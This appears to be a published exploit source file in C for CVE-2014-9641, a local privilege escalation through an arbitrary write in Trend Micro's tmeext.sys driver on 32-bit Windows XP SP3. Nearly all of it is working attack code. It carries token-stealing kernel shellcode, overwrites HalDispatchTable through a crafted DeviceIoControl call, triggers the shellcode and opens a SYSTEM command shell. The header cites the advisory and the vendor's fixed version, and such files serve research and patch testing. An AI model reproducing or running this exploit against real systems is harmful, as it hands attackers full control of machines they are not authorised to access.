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/* Exploit Title- Trend Micro Multiple Products Arbitrary Write Privilege Escalation Date - 31st January 2015 Discovered by- Parvez Anwar (@parvezghh) Vendor Homepage- http://www.trendmicro.co.uk/ Tested Version - 8.0.1133 Driver Version - 2.0.0.1009 - tmeext.sys Tested on OS - 32bit Windows XP SP3 OSVDB- http://www.osvdb.org/show/osvdb/115514 CVE ID - CVE-2014-9641 Vendor fix url - http://esupport.trendmicro.com/solution/en-US/1106233.aspx Fixed version- 8.0.1133 Fixed driver ver - 2.0.0.1015 */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORTIndex; USHORTNameLength; USHORTLoadCount; USHORTPathLength; CHARImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44// Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN0xc8// Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84// Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS0x88// Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52,// push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00,// mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN]Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-|Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS |Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+XP_UPID], 4|Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN]Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edxOverwrites the TOKEN for the current KPROCESS 0x5b,// pop ebxRestores ebx 0x5a,// pop edxRestores edx 0xc2,0x08// ret 8Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformationNtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORDHalDispatchTable; CHAR kFullName[256]; PVOIDkBase = NULL; LPSTRkName; HMODULEKernel; FUNCTPTR Hal; ULONGlen; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1;// "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2;// "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3;// "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb= sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOIDinput[1] = {0}; LPVOIDaddrtoshell; HANDLEhDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf("Trend Micro Multiple Products (tmeext.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on Windows XP SP3 (32bit)\n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "tmnethk"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell;// input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit. . .\n"); getch(); DeviceIoControl(hDevice, 0x00222400, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; } |
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